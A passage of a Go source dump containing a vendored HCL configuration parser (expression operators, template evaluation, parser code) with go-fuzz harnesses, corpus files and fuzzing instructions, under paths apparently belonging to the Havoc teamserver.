*hcl.EvalContext) { e.valuesLock.Lock() defer e.valuesLock.Unlock() if e.values == nil { return } if ctx == nil { panic("can't clearValue for a nil EvalContext") } delete(e.values, ctx) } func (e *AnonSymbolExpr) walkChildNodes(w internalWalkFunc) { // AnonSymbolExpr is a leaf node in the tree } func (e *AnonSymbolExpr) Range() hcl.Range { return e.SrcRange } func (e *AnonSymbolExpr) StartRange() hcl.Range { return e.SrcRange } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/expression_ops.go ================================================ package hclsyntax import ( "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" "github.com/zclconf/go-cty/cty/function/stdlib" ) type Operation struct { Impl function.Function Type cty.Type } var ( OpLogicalOr = &Operation{ Impl: stdlib.OrFunc, Type: cty.Bool, } OpLogicalAnd = &Operation{ Impl: stdlib.AndFunc, Type: cty.Bool, } OpLogicalNot = &Operation{ Impl: stdlib.NotFunc, Type: cty.Bool, } OpEqual = &Operation{ Impl: stdlib.EqualFunc, Type: cty.Bool, } OpNotEqual = &Operation{ Impl: stdlib.NotEqualFunc, Type: cty.Bool, } OpGreaterThan = &Operation{ Impl: stdlib.GreaterThanFunc, Type: cty.Bool, } OpGreaterThanOrEqual = &Operation{ Impl: stdlib.GreaterThanOrEqualToFunc, Type: cty.Bool, } OpLessThan = &Operation{ Impl: stdlib.LessThanFunc, Type: cty.Bool, } OpLessThanOrEqual = &Operation{ Impl: stdlib.LessThanOrEqualToFunc, Type: cty.Bool, } OpAdd = &Operation{ Impl: stdlib.AddFunc, Type: cty.Number, } OpSubtract = &Operation{ Impl: stdlib.SubtractFunc, Type: cty.Number, } OpMultiply = &Operation{ Impl: stdlib.MultiplyFunc, Type: cty.Number, } OpDivide = &Operation{ Impl: stdlib.DivideFunc, Type: cty.Number, } OpModulo = &Operation{ Impl: stdlib.ModuloFunc, Type: cty.Number, } OpNegate = &Operation{ Impl: stdlib.NegateFunc, Type: cty.Number, } ) var binaryOps []map[TokenType]*Operation func init() { // This operation table maps from the operator's token type // to the AST operation type. All expressions produced from // binary operators are BinaryOp nodes. // // Binary operator groups are listed in order of precedence, with // the *lowest* precedence first. Operators within the same group // have left-to-right associativity. binaryOps = []map[TokenType]*Operation{ { TokenOr: OpLogicalOr, }, { TokenAnd: OpLogicalAnd, }, { TokenEqualOp: OpEqual, TokenNotEqual: OpNotEqual, }, { TokenGreaterThan: OpGreaterThan, TokenGreaterThanEq: OpGreaterThanOrEqual, TokenLessThan: OpLessThan, TokenLessThanEq: OpLessThanOrEqual, }, { TokenPlus: OpAdd, TokenMinus: OpSubtract, }, { TokenStar: OpMultiply, TokenSlash: OpDivide, TokenPercent: OpModulo, }, } } type BinaryOpExpr struct { LHS Expression Op *Operation RHS Expression SrcRange hcl.Range } func (e *BinaryOpExpr) walkChildNodes(w internalWalkFunc) { w(e.LHS) w(e.RHS) } func (e *BinaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { impl := e.Op.Impl // assumed to be a function taking exactly two arguments params := impl.Params() lhsParam := params[0] rhsParam := params[1] var diags hcl.Diagnostics givenLHSVal, lhsDiags := e.LHS.Value(ctx) givenRHSVal, rhsDiags := e.RHS.Value(ctx) diags = append(diags, lhsDiags...) diags = append(diags, rhsDiags...) lhsVal, err := convert.Convert(givenLHSVal, lhsParam.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for left operand: %s.", err), Subject: e.LHS.Range().Ptr(), Context: &e.SrcRange, Expression: e.LHS, EvalContext: ctx, }) } rhsVal, err := convert.Convert(givenRHSVal, rhsParam.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for right operand: %s.", err), Subject: e.RHS.Range().Ptr(), Context: &e.SrcRange, Expression: e.RHS, EvalContext: ctx, }) } if diags.HasErrors() { // Don't actually try the call if we have errors already, since the // this will probably just produce a confusing duplicative diagnostic. return cty.UnknownVal(e.Op.Type), diags } args := []cty.Value{lhsVal, rhsVal} result, err := impl.Call(args) if err != nil { diags = append(diags, &hcl.Diagnostic{ // FIXME: This diagnostic is useless. Severity: hcl.DiagError, Summary: "Operation failed", Detail: fmt.Sprintf("Error during operation: %s.", err), Subject: &e.SrcRange, Expression: e, EvalContext: ctx, }) return cty.UnknownVal(e.Op.Type), diags } return result, diags } func (e *BinaryOpExpr) Range() hcl.Range { return e.SrcRange } func (e *BinaryOpExpr) StartRange() hcl.Range { return e.LHS.StartRange() } type UnaryOpExpr struct { Op *Operation Val Expression SrcRange hcl.Range SymbolRange hcl.Range } func (e *UnaryOpExpr) walkChildNodes(w internalWalkFunc) { w(e.Val) } func (e *UnaryOpExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { impl := e.Op.Impl // assumed to be a function taking exactly one argument params := impl.Params() param := params[0] givenVal, diags := e.Val.Value(ctx) val, err := convert.Convert(givenVal, param.Type) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid operand", Detail: fmt.Sprintf("Unsuitable value for unary operand: %s.", err), Subject: e.Val.Range().Ptr(), Context: &e.SrcRange, Expression: e.Val, EvalContext: ctx, }) } if diags.HasErrors() { // Don't actually try the call if we have errors already, since the // this will probably just produce a confusing duplicative diagnostic. return cty.UnknownVal(e.Op.Type), diags } args := []cty.Value{val} result, err := impl.Call(args) if err != nil { diags = append(diags, &hcl.Diagnostic{ // FIXME: This diagnostic is useless. Severity: hcl.DiagError, Summary: "Operation failed", Detail: fmt.Sprintf("Error during operation: %s.", err), Subject: &e.SrcRange, Expression: e, EvalContext: ctx, }) return cty.UnknownVal(e.Op.Type), diags } return result, diags } func (e *UnaryOpExpr) Range() hcl.Range { return e.SrcRange } func (e *UnaryOpExpr) StartRange() hcl.Range { return e.SymbolRange } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/expression_template.go ================================================ package hclsyntax import ( "bytes" "fmt" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" ) type TemplateExpr struct { Parts []Expression SrcRange hcl.Range } func (e *TemplateExpr) walkChildNodes(w internalWalkFunc) { for _, part := range e.Parts { w(part) } } func (e *TemplateExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { buf := &bytes.Buffer{} var diags hcl.Diagnostics isKnown := true // Maintain a set of marks for values used in the template marks := make(cty.ValueMarks) for _, part := range e.Parts { partVal, partDiags := part.Value(ctx) diags = append(diags, partDiags...) if partVal.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "The expression result is null. Cannot include a null value in a string template.", ), Subject: part.Range().Ptr(), Context: &e.SrcRange, Expression: part, EvalContext: ctx, }) continue } // Unmark the part and merge its marks into the set unmarkedVal, partMarks := partVal.Unmark() for k, v := range partMarks { marks[k] = v } if !partVal.IsKnown() { // If any part is unknown then the result as a whole must be // unknown too. We'll keep on processing the rest of the parts // anyway, because we want to still emit any diagnostics resulting // from evaluating those. isKnown = false continue } strVal, err := convert.Convert(unmarkedVal, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "Cannot include the given value in a string template: %s.", err.Error(), ), Subject: part.Range().Ptr(), Context: &e.SrcRange, Expression: part, EvalContext: ctx, }) continue } buf.WriteString(strVal.AsString()) } var ret cty.Value if !isKnown { ret = cty.UnknownVal(cty.String) } else { ret = cty.StringVal(buf.String()) } // Apply the full set of marks to the returned value return ret.WithMarks(marks), diags } func (e *TemplateExpr) Range() hcl.Range { return e.SrcRange } func (e *TemplateExpr) StartRange() hcl.Range { return e.Parts[0].StartRange() } // IsStringLiteral returns true if and only if the template consists only of // single string literal, as would be created for a simple quoted string like // "foo". // // If this function returns true, then calling Value on the same expression // with a nil EvalContext will return the literal value. // // Note that "${"foo"}", "${1}", etc aren't considered literal values for the // purposes of this method, because the intent of this method is to identify // situations where the user seems to be explicitly intending literal string // interpretation, not situations that result in literals as a technicality // of the template expression unwrapping behavior. func (e *TemplateExpr) IsStringLiteral() bool { if len(e.Parts) != 1 { return false } _, ok := e.Parts[0].(*LiteralValueExpr) return ok } // TemplateJoinExpr is used to convert tuples of strings produced by template // constructs (i.e. for loops) into flat strings, by converting the values // tos strings and joining them. This AST node is not used directly; it's // produced as part of the AST of a "for" loop in a template. type TemplateJoinExpr struct { Tuple Expression } func (e *TemplateJoinExpr) walkChildNodes(w internalWalkFunc) { w(e.Tuple) } func (e *TemplateJoinExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { tuple, diags := e.Tuple.Value(ctx) if tuple.IsNull() { // This indicates a bug in the code that constructed the AST. panic("TemplateJoinExpr got null tuple") } if tuple.Type() == cty.DynamicPseudoType { return cty.UnknownVal(cty.String), diags } if !tuple.Type().IsTupleType() { // This indicates a bug in the code that constructed the AST. panic("TemplateJoinExpr got non-tuple tuple") } if !tuple.IsKnown() { return cty.UnknownVal(cty.String), diags } tuple, marks := tuple.Unmark() allMarks := []cty.ValueMarks{marks} buf := &bytes.Buffer{} it := tuple.ElementIterator() for it.Next() { _, val := it.Element() if val.IsNull() { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "An iteration result is null. Cannot include a null value in a string template.", ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) continue } if val.Type() == cty.DynamicPseudoType { return cty.UnknownVal(cty.String).WithMarks(marks), diags } strVal, err := convert.Convert(val, cty.String) if err != nil { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid template interpolation value", Detail: fmt.Sprintf( "Cannot include one of the interpolation results into the string template: %s.", err.Error(), ), Subject: e.Range().Ptr(), Expression: e, EvalContext: ctx, }) continue } if !val.IsKnown() { return cty.UnknownVal(cty.String).WithMarks(marks), diags } strVal, strValMarks := strVal.Unmark() if len(strValMarks) > 0 { allMarks = append(allMarks, strValMarks) } buf.WriteString(strVal.AsString()) } return cty.StringVal(buf.String()).WithMarks(allMarks...), diags } func (e *TemplateJoinExpr) Range() hcl.Range { return e.Tuple.Range() } func (e *TemplateJoinExpr) StartRange() hcl.Range { return e.Tuple.StartRange() } // TemplateWrapExpr is used instead of a TemplateExpr when a template // consists _only_ of a single interpolation sequence. In that case, the // template's result is the single interpolation's result, verbatim with // no type conversions. type TemplateWrapExpr struct { Wrapped Expression SrcRange hcl.Range } func (e *TemplateWrapExpr) walkChildNodes(w internalWalkFunc) { w(e.Wrapped) } func (e *TemplateWrapExpr) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { return e.Wrapped.Value(ctx) } func (e *TemplateWrapExpr) Range() hcl.Range { return e.SrcRange } func (e *TemplateWrapExpr) StartRange() hcl.Range { return e.SrcRange } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/expression_vars.go ================================================ package hclsyntax // Generated by expression_vars_get.go. DO NOT EDIT. // Run 'go generate' on this package to update the set of functions here. import ( "Havoc/pkg/profile/yaotl" ) func (e *AnonSymbolExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *BinaryOpExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ConditionalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ForExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *FunctionCallExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *IndexExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *LiteralValueExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ObjectConsExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ObjectConsKeyExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *RelativeTraversalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *ScopeTraversalExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *SplatExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateJoinExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TemplateWrapExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *TupleConsExpr) Variables() []hcl.Traversal { return Variables(e) } func (e *UnaryOpExpr) Variables() []hcl.Traversal { return Variables(e) } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/expression_vars_gen.go ================================================ // This is a 'go generate'-oriented program for producing the "Variables" // method on every Expression implementation found within this package. // All expressions share the same implementation for this method, which // just wraps the package-level function "Variables" and uses an AST walk // to do its work. // +build ignore package main import ( "fmt" "go/ast" "go/parser" "go/token" "os" "sort" ) func main() { fs := token.NewFileSet() pkgs, err := parser.ParseDir(fs, ".", nil, 0) if err != nil { fmt.Fprintf(os.Stderr, "error while parsing: %s\n", err) os.Exit(1) } pkg := pkgs["hclsyntax"] // Walk all the files and collect the receivers of any "Value" methods // that look like they are trying to implement Expression. var recvs []string for _, f := range pkg.Files { for _, decl := range f.Decls { fd, ok := decl.(*ast.FuncDecl) if !ok { continue } if fd.Name.Name != "Value" { continue } results := fd.Type.Results.List if len(results) != 2 { continue } valResult := fd.Type.Results.List[0].Type.(*ast.SelectorExpr).X.(*ast.Ident) diagsResult := fd.Type.Results.List[1].Type.(*ast.SelectorExpr).X.(*ast.Ident) if valResult.Name != "cty" && diagsResult.Name != "hcl" { continue } // If we have a method called Value and it returns something in // "cty" followed by something in "hcl" then that's specific enough // for now, even though this is not 100% exact as a correct // implementation of Value. recvTy := fd.Recv.List[0].Type switch rtt := recvTy.(type) { case *ast.StarExpr: name := rtt.X.(*ast.Ident).Name recvs = append(recvs, fmt.Sprintf("*%s", name)) default: fmt.Fprintf(os.Stderr, "don't know what to do with a %T receiver\n", recvTy) } } } sort.Strings(recvs) of, err := os.OpenFile("expression_vars.go", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, os.ModePerm) if err != nil { fmt.Fprintf(os.Stderr, "failed to open output file: %s\n", err) os.Exit(1) } fmt.Fprint(of, outputPreamble) for _, recv := range recvs { fmt.Fprintf(of, outputMethodFmt, recv) } fmt.Fprint(of, "\n") } const outputPreamble = `package hclsyntax // Generated by expression_vars_get.go. DO NOT EDIT. // Run 'go generate' on this package to update the set of functions here. import ( "Havoc/pkg/profile/yaotl" )` const outputMethodFmt = ` func (e %s) Variables() []hcl.Traversal { return Variables(e) }` ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/file.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // File is the top-level object resulting from parsing a configuration file. type File struct { Body *Body Bytes []byte } func (f *File) AsHCLFile() *hcl.File { return &hcl.File{ Body: f.Body, Bytes: f.Bytes, // TODO: The Nav object, once we have an implementation of it } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/Makefile ================================================ ifndef FUZZ_WORK_DIR $(error FUZZ_WORK_DIR is not set) endif default: @echo "See README.md for usage instructions" fuzz-config: fuzz-exec-config fuzz-expr: fuzz-exec-expr fuzz-template: fuzz-exec-template fuzz-traversal: fuzz-exec-traversal fuzz-exec-%: fuzz%-fuzz.zip go-fuzz -bin=./fuzz$*-fuzz.zip -workdir=$(FUZZ_WORK_DIR) fuzz%-fuzz.zip: %/fuzz.go go-fuzz-build Havoc/pkg/profile/yaotl/hclsyntax/fuzz/$* tools: go get -u github.com/dvyukov/go-fuzz/go-fuzz go get -u github.com/dvyukov/go-fuzz/go-fuzz-build clean: rm fuzz*-fuzz.zip .PHONY: tools clean fuzz-config fuzz-expr fuzz-template fuzz-traversal .PRECIOUS: fuzzconfig-fuzz.zip fuzzexpr-fuzz.zip fuzztemplate-fuzz.zip fuzztraversal-fuzz.zip ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/README.md ================================================ # hclsyntax fuzzing utilities This directory contains helper functions and corpuses that can be used to fuzz-test the `hclsyntax` parsers using [go-fuzz](https://github.com/dvyukov/go-fuzz). ## Work directory `go-fuzz` needs a working directory where it can keep state as it works. This should ideally be in a ramdisk for efficiency, and should probably _not_ be on an SSD to avoid thrashing it. Here's how to create a ramdisk: ### macOS ``` $ SIZE_IN_MB=1024 $ DEVICE=`hdiutil attach -nobrowse -nomount ram://$(($SIZE_IN_MB*2048))` $ diskutil erasevolume HFS+ RamDisk $DEVICE $ export RAMDISK=/Volumes/RamDisk ``` ### Linux ``` $ mkdir /mnt/ramdisk $ mount -t tmpfs -o size=1024M tmpfs /mnt/ramdisk $ export RAMDISK=/mnt/ramdisk ``` ## Running the fuzzer Next, install `go-fuzz` and its build tool in your `GOPATH`: ``` $ make tools FUZZ_WORK_DIR=$RAMDISK ``` Now you can fuzz one or all of the parsers: ``` $ make fuzz-config FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-config $ make fuzz-expr FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-expr $ make fuzz-template FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-template $ make fuzz-traversal FUZZ_WORK_DIR=$RAMDISK/hclsyntax-fuzz-traversal ``` ~> Note: `go-fuzz` does not interact well with `goenv`. If you encounter build errors where the package `go.fuzz.main` could not be found, you may need to use a machine with a direct installation of Go. ## Understanding the result A small number of subdirectories will be created in the work directory. If you let `go-fuzz` run for a few minutes (the more minutes the better) it may detect "crashers", which are inputs that caused the parser to panic. Details about these are written to `$FUZZ_WORK_DIR/crashers`: ``` $ ls /tmp/hcl2-fuzz-config/crashers 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.output 7f5e9ec80c89da14b8b0b238ec88969f658f5a2d.quoted ``` The base file above (with no extension) is the input that caused a crash. The `.output` file contains the panic stack trace, which you can use as a clue to figure out what caused the crash. A good first step to fixing a detected crasher is to copy the failing input into one of the unit tests in the `hclsyntax` package and see it crash there too. After that, it's easy to re-run the test as you try to fix it. The file with the `.quoted` extension contains a form of the input that is quoted in Go syntax for easy copy-paste into a test case, even if the input contains non-printable characters or other inconvenient symbols. ## Rebuilding for new Upstream Code An archive file is created for `go-fuzz` to use on the first run of each of the above, as a `.zip` file created in this directory. If upstream code is changed these will need to be deleted to cause them to be rebuilt with the latest code: ``` $ make clean ``` ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/attr-expr.hcl ================================================ foo = upper(bar + baz[1]) ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/attr-literal.hcl ================================================ foo = "bar" ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-attrs.hcl ================================================ block { foo = true } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-empty.hcl ================================================ block { } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/block-nested.hcl ================================================ block { another_block { foo = bar } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/empty.hcl ================================================ ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/corpus/utf8.hcl ================================================ foo = "föo ${föo("föo")}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/config/fuzz.go ================================================ package fuzzconfig import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseConfig(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/empty.hcle ================================================ "" ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/escape-dollar.hcle ================================================ "hi $${var.foo}" ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/escape-newline.hcle ================================================ "bar\nbaz" ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/function-call.hcle ================================================ title(var.name) ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/int.hcle ================================================ 42 ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/literal.hcle ================================================ foo ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/splat-attr.hcle ================================================ foo.bar.*.baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/splat-full.hcle ================================================ foo.bar[*].baz ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/utf8.hcle ================================================ föo("föo") + föo ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/corpus/var.hcle ================================================ var.bar ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/expr/fuzz.go ================================================ package fuzzexpr import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseExpression(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/empty.tmpl ================================================ ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/escape-dollar.tmpl ================================================ hi $${var.foo} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/escape-newline.tmpl ================================================ foo ${"bar\nbaz"} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/function-call.tmpl ================================================ hi ${title(var.name)} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/int.tmpl ================================================ foo ${42} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/just-interp.tmpl ================================================ ${var.bar} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/literal.tmpl ================================================ foo ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/corpus/utf8.tmpl ================================================ föo ${föo("föo")} ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/template/fuzz.go ================================================ package fuzztemplate import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseTemplate(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/attr.hclt ================================================ foo.bar ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/complex.hclt ================================================ foo.bar[1].baz["foo"].pizza ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/index.hclt ================================================ foo[1] ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/corpus/root.hclt ================================================ foo ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/fuzz/traversal/fuzz.go ================================================ package fuzztraversal import ( "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func Fuzz(data []byte) int { _, diags := hclsyntax.ParseTraversalAbs(data, "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { return 0 } return 1 } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/generate.go ================================================ package hclsyntax //go:generate go run expression_vars_gen.go //go:generate ruby unicode2ragel.rb --url=http://www.unicode.org/Public/9.0.0/ucd/DerivedCoreProperties.txt -m UnicodeDerived -p ID_Start,ID_Continue -o unicode_derived.rl //go:generate ragel -Z scan_tokens.rl //go:generate gofmt -w scan_tokens.go //go:generate ragel -Z scan_string_lit.rl //go:generate gofmt -w scan_string_lit.go //go:generate stringer -type TokenType -output token_type_string.go ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/keywords.go ================================================ package hclsyntax import ( "bytes" ) type Keyword []byte var forKeyword = Keyword([]byte{'f', 'o', 'r'}) var inKeyword = Keyword([]byte{'i', 'n'}) var ifKeyword = Keyword([]byte{'i', 'f'}) var elseKeyword = Keyword([]byte{'e', 'l', 's', 'e'}) var endifKeyword = Keyword([]byte{'e', 'n', 'd', 'i', 'f'}) var endforKeyword = Keyword([]byte{'e', 'n', 'd', 'f', 'o', 'r'}) func (kw Keyword) TokenMatches(token Token) bool { if token.Type != TokenIdent { return false } return bytes.Equal([]byte(kw), token.Bytes) } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/navigation.go ================================================ package hclsyntax import ( "bytes" "fmt" "Havoc/pkg/profile/yaotl" ) type navigation struct { root *Body } // Implementation of hcled.ContextString func (n navigation) ContextString(offset int) string { // We will walk our top-level blocks until we find one that contains // the given offset, and then construct a representation of the header // of the block. var block *Block for _, candidate := range n.root.Blocks { if candidate.Range().ContainsOffset(offset) { block = candidate break } } if block == nil { return "" } if len(block.Labels) == 0 { // Easy case! return block.Type } buf := &bytes.Buffer{} buf.WriteString(block.Type) for _, label := range block.Labels { fmt.Fprintf(buf, " %q", label) } return buf.String() } func (n navigation) ContextDefRange(offset int) hcl.Range { var block *Block for _, candidate := range n.root.Blocks { if candidate.Range().ContainsOffset(offset) { block = candidate break } } if block == nil { return hcl.Range{} } return block.DefRange() } ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/node.go ================================================ package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // Node is the abstract type that every AST node implements. // // This is a closed interface, so it cannot be implemented from outside of // this package. type Node interface { // This is the mechanism by which the public-facing walk functions // are implemented. Implementations should call the given function // for each child node and then replace that node with its return value. // The return value might just be the same node, for non-transforming // walks. walkChildNodes(w internalWalkFunc) Range() hcl.Range } type internalWalkFunc func(Node) ================================================ FILE: teamserver/pkg/profile/yaotl/hclsyntax/parser.go ================================================ package hclsyntax import ( "bytes" "encoding/hex" "fmt" "strconv" "unicode/utf8" "Havoc/pkg/profile/yaotl" "github.com/apparentlymart/go-textseg/v13/textseg" "github.com/zclconf/go-cty/cty" ) type parser struct { *peeker // set to true if any recovery is attempted. The parser can use this // to attempt to reduce error noise by suppressing "bad token" errors // in recovery mode, assuming that the recovery heuristics have failed // in this case and left the peeker in a wrong place. recovery bool } func (p *parser) ParseBody(end TokenType) (*Body, hcl.Diagnostics) { attrs := Attributes{} blocks := Blocks{} var diags hcl.Diagnostics startRange := p.PrevRange() var endRange hcl.Range Token: for { next := p.Peek() if next.Type == end { endRange = p.NextRange() p.Read() break Token } switch next.Type { case TokenNewline: p.Read() continue case TokenIdent: item, itemDiags := p.ParseBodyItem() diags = append(diags, itemDiags...) switch titem := item.(type) { case *Block: blocks = append(blocks, titem) case *Attribute: if existing, exists := attrs[titem.Name]; exists { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Attribute redefined", Detail: fmt.Sprintf( "The argument %q was already set at %s. Each argument may be set only once.", titem.Name, existing.NameRange.String(), ), Subject: &titem.NameRange, }) } else { attrs[titem.Name] = titem } default: // This should never happen for valid input, but may if a // syntax error was detected in ParseBodyItem that prevented // it from even producing a partially-broken item. In that // case, it would've left at least one error in the diagnostics // slice we already dealt with above. // // We'll assume ParseBodyItem attempted recovery to leave // us in a reasonable position to try parsing the next item. continue } default: bad := p.Read() if !p.recovery { if bad.Type == TokenOQuote { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid argument name", Detail: "Argument names must not be quoted.", Subject: &bad.Range, }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &bad.Range, }) } } endRange = p.PrevRange() // arbitrary, but somewhere inside the body means better diagnostics p.recover(end) // attempt to recover to the token after the end of this body break Token } } return &Body{ Attributes: attrs, Blocks: blocks, SrcRange: hcl.RangeBetween(startRange, endRange), EndRange: hcl.Range{ Filename: endRange.Filename, Start: endRange.End, End: endRange.End, }, }, diags } func (p *parser) ParseBodyItem() (Node, hcl.Diagnostics) { ident := p.Read() if ident.Type != TokenIdent { p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &ident.Range, }, } } next := p.Peek() switch next.Type { case TokenEqual: return p.finishParsingBodyAttribute(ident, false) case TokenOQuote, TokenOBrace, TokenIdent: return p.finishParsingBodyBlock(ident) default: p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here. To set an argument, use the equals sign \"=\" to introduce the argument value.", Subject: &ident.Range, }, } } return nil, nil } // parseSingleAttrBody is a weird variant of ParseBody that deals with the // body of a nested block containing only one attribute value all on a single // line, like foo { bar = baz } . It expects to find a single attribute item // immediately followed by the end token type with no intervening newlines. func (p *parser) parseSingleAttrBody(end TokenType) (*Body, hcl.Diagnostics) { ident := p.Read() if ident.Type != TokenIdent { p.recoverAfterBodyItem() return nil, hcl.Diagnostics{ { Severity: hcl.DiagError, Summary: "Argument or block definition required", Detail: "An argument or block definition is required here.", Subject: &ident.Range, }, } } var attr *Attribute var diags hcl.Diagnostics next := p.Peek() switch next.Type { case TokenEqual: node, 